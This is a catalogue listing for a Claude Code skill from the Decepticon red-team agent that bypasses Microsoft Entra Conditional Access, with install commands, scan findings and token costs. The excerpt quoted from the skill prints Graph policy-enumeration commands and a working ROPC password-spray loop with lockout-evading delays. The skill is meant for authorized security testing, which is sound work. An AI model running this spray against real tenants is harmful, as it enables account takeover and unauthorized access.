entra-conditional-access-bypass

entra-conditional-access-bypass is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 61 tokens per session (2,074 once invoked), scanned A, original, Apache-2.0.

A guide to finding and abusing gaps in Microsoft Entra Conditional Access, the rules that restrict sign-ins based on users, apps, devices, locations, and other conditions. It covers legacy sign-in methods, service accounts, excluded applications, and emergency accounts.

In plain words
What is it for?
Auditing Conditional Access policies, checking legacy email protocols, reviewing excluded accounts and applications, and testing whether sign-in conditions are enforced.
Why use it?
It helps security testers identify cases where access rules appear enabled but do not cover every way of signing in. The examples show how weak policy scope can allow protected accounts or applications to bypass controls.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Auditing Conditional Access policies, checking legacy email protocols, reviewing excluded accounts and applications, and testing whether sign-in conditions are enforced.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/entra-conditional-access-bypass
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill entra-conditional-access-bypass
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for entra-conditional-access-bypass

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-conditional-access-bypass/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/entra-conditional-access-bypass)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-conditional-access-bypass"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-conditional-access-bypass/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for entra-conditional-access-bypass

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-conditional-access-bypass"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-conditional-access-bypass.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 61 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,074 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 3 findings, up to medium

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • medium Data Exfiltration · line 49
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 84
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 107
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00061 $0.02074
Opus 5 $0.00030 $0.01037
Sonnet 5 $0.00012 $0.00415
Haiku 4.5 $0.00006 $0.00207

Measured 9d ago against content hash 3844a9f071a0, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

entra-conditional-access-bypass scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -H "Authorization: Bearer $TOKEN" \
packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md · 150 lines

How it starts

The opening of the file, as written. The whole thing — 150 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Entra Conditional Access Bypass

Conditional Access (CA) policies gate sign-ins by user/app/platform/location/device. Bypasses come from the gaps in policy scoping — legacy protocols not covered, service-principal flows out of scope, device/UA conditions spoofable, break-glass accounts excluded.

Phase 1: Enumerate the policy surface

Authenticated (Graph)

TOKEN=<GLOBAL_READER_OR_SECREADER>
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/beta/policies/conditionalAccessPolicies" \
  | jq '.value[] | {n:.displayName, st:.state, users:.conditions.users, apps:.conditions.applications, plat:.conditions.platforms, loc:.conditions.locations, ctrl:.grantControls}'

Authenticated (roadrecon)

roadrecon plugin policies > capolicies.json
# Look for: state=enabledForReportingButNotEnforced (audit-only), excludeUsers (BG accounts), excludeApplications, includeApplications missing 'All cloud apps'

Unauth signals

Sign-in failure error codes reveal CA:

  • AADSTS53003 = blocked by Conditional Access — confirms a policy fired
  • AADSTS50158 = external security challenge required (MFA-by-CA)
  • AADSTS50053 = locked → smart-lockout, not CA
  • AADSTS500011 = resource principal not found in tenant → app exclusion path
  • No 53003 across many protocols + locations → CA has gaps

Phase 2: Legacy auth bypass (basic auth survival)

Despite "basic auth deprecation", many tenants still allow SMTP-AUTH; ROPC (Resource Owner Password Credentials) over oauth2/token is also frequently NOT covered by CA (CA gates Browser + Modern auth clients, but ROPC sneaks through if the policy doesn't include Other clients).

ROPC spray (no MFA prompt)

TARGET=<TARGET>; TENANT=<TENANT>
for u in $(cat valid_users.txt); do
  for p in $(cat pwlist.txt); do
    r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/token" \
      -d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=${p}")
    if echo "$r" | jq -e .access_token >/dev/null; then echo "WIN: $u:$p"; break; fi
    sleep $((RANDOM % 3 + 4))
  done
done

Read the full file on GitHub · 150 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 150 lines · 61 tokens per session scan A 3844a9f071a0

Subscribe to this mod's changes

entra-conditional-access-bypass is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 61 tokens to every session and 2,074 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.